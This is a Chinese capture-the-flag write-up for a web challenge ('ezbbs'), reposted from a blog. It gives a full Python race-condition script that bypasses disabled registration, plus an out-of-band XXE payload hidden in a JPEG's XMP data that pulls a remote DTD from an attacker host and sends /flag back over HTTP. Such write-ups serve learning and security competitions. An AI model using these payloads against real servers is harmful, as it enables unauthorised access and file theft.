2023年四川网信人才技能大赛 决赛 实操赛Web ezbbs Writeup

2023-12-14 16:04:34

题目是一个BSS论坛,如图

在这里插入图片描述

尝试注册发现注册未开放

在这里插入图片描述

题目给了jar包以及给了一个提示条件竞争绕过,分析源码:
/register/login接口都在com.my.bbs.controller.rest.BBSUserController

在这里插入图片描述

首先cacheUserBBSUser类型的私有属性,并且register.enable=false默认不开启注册

@Value("${register.enable}")
private Boolean register_enable;
private BBSUser cacheUser = new BBSUser();

在这里插入图片描述

在注册时cacheUserLoginNamePasswordMd5属性都是先被set了值的,然后是判断注册是否开启,如果未开启register_enable=false时,LoginNamePasswordMd5即会被setnull置空。

在这里插入图片描述

在登录时,登录成功的条件是cacheUser.loginName不为空,并且传入loginNamepassword参数与cacheUser.loginNamecacheUser.passwordMd5相等。

所以登录这里就存在一个条件竞争绕过,可以写个脚本一边不停的注册,一边不停地登录,在cache.loginNamecache.passwordMd5没有置空前,成功登录获取Cookie

登录的账号就用泄露的这个

在这里插入图片描述

import requests
import threading
import json


def register(baseUrl):
    global loginSuccessFlag
    registerUrl = baseUrl + '/register'
    registerData = {"loginName" : "admin@qq.com", "nickName" : "admin@qq.com", "password" : "mochu7777777", "repass" : "mochu7777777"}
    while not loginSuccessFlag:
        registerSession = requests.session()
        registerResp = registerSession.post(url=registerUrl, data=registerData)
        print(registerResp.text)

def login(baseUrl):
    global loginSuccessFlag
    loginUrl = baseUrl + '/login'
    loginData = {"loginName" : "admin@qq.com", "password" : "mochu7777777"}
    while not loginSuccessFlag:
        loginSession = requests.session()
        loginResp = loginSession.post(url=loginUrl, data=loginData)
        resultCode = json.loads(loginResp.text)['resultCode']
        if resultCode == 200:
            print(loginResp.text)
            print(loginResp.headers)
            loginSuccessFlag = True
            break

if __name__ == '__main__':
    baseUrl = "http://192.168.7.7:8888"
    loginSuccessFlag = False
    threading.Thread(target=register, args=(baseUrl,)).start()
    threading.Thread(target=login, args=(baseUrl,)).start()

有时候可能要跑比较久,条件竞争要耐心点

在这里插入图片描述

带上Cookie即可访问/userSet接口

在这里插入图片描述

登录成功后,继续分析源码,com.my.bbs.controller.common.UploadControlleruploadFile接口

在这里插入图片描述

生成的文件名String newFileName = SystemUtil.genFilenameByDate(file);,方法在com.my.bbs.util.SystemUtil类中,可以看到将上传的文件内容传给了com.my.bbs.util.FileUtil.getXmpMeta()处理。

在这里插入图片描述

很明显这是个处理图片中xmp数据的方法,那么什么是图片XMP,来看下GPT的解释

在这里插入图片描述

能够被解析猜测有可能就是考XXE了

继续跟进getXmpMeta()方法发现这里使用了xmpcoremetadata-extractor两个组件

在这里插入图片描述

然后把这个方法提取出来,下个断点简单调试下,分析下会经过哪些可能会造成XXE的地方

ezbbs.jar包中的依赖解压出来,然后加载进IDEA,方便之后调试,把两个组件的依赖也加进来

    <dependencies>
        <dependency>
            <groupId>com.drewnoakes</groupId>
            <artifactId>metadata-extractor</artifactId>
            <version>2.6.2</version>
        </dependency>

        <dependency>
            <groupId>com.adobe.xmp</groupId>
            <artifactId>xmpcore</artifactId>
            <version>5.1.2</version>
        </dependency>
    </dependencies>

在这里插入图片描述

下个断点开始调,过程很长,大致就是从metadata-extractor跟到处理xmlxmlcore组件

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

跟进调试会来到com.adobe.xmp.impl.XMPMetaParser.parse(),继续跟进查看处理xml数据的方法Document document = parseXml(input, options);

com.adobe.xmp.impl.parseXml()

在这里插入图片描述

com.adobe.xmp.impl.parseXmlFromString

在这里插入图片描述

com.adobe.xmp.impl.parseInputSource

在这里插入图片描述

com.adobe.xmp.impl.XMPMetaParser

在这里插入图片描述

而这个factory就是下面这个

com.adobe.xmp.impl.createDocumentBuilderFactory()

在这里插入图片描述

到这里就很明显是DocumentBuilderFactory导致的XXE,没有设置禁用外部实体。

明确了上传这里是会加载图片中的xmp数据解析造成XXE,那么只需要找一张有xmp数据的图片,这个PS随便生成一张JPG就行,不要太大。并且注意,不增加修改原来的字节数量,只修改这一块原来的xmp数据,且要保证原来结构完整。

没有回显的XXE,引入一个远程实体,开启HTTP监听,把读取的数据外带出来

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://10.10.1.67:8088/evil.xml"> %remote;]>

注意不要增加删除字节,只在原来的基础上做修改并且后面补全完整的结构。

在这里插入图片描述
在这里插入图片描述

远程实体evil.xml

<!ENTITY % file SYSTEM 'file:///flag'>
<!ENTITY % evil "<!ENTITY &#37; data SYSTEM 'http://10.10.1.67:8088/?flag=%file;'>">
%evil;
%data;

然后将evil.jpg上传,解析xmp数据触发引用这个远程实体加载读取/flag即可

在这里插入图片描述

文章来源:https://blog.csdn.net/mochu7777777/article/details/134985861
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。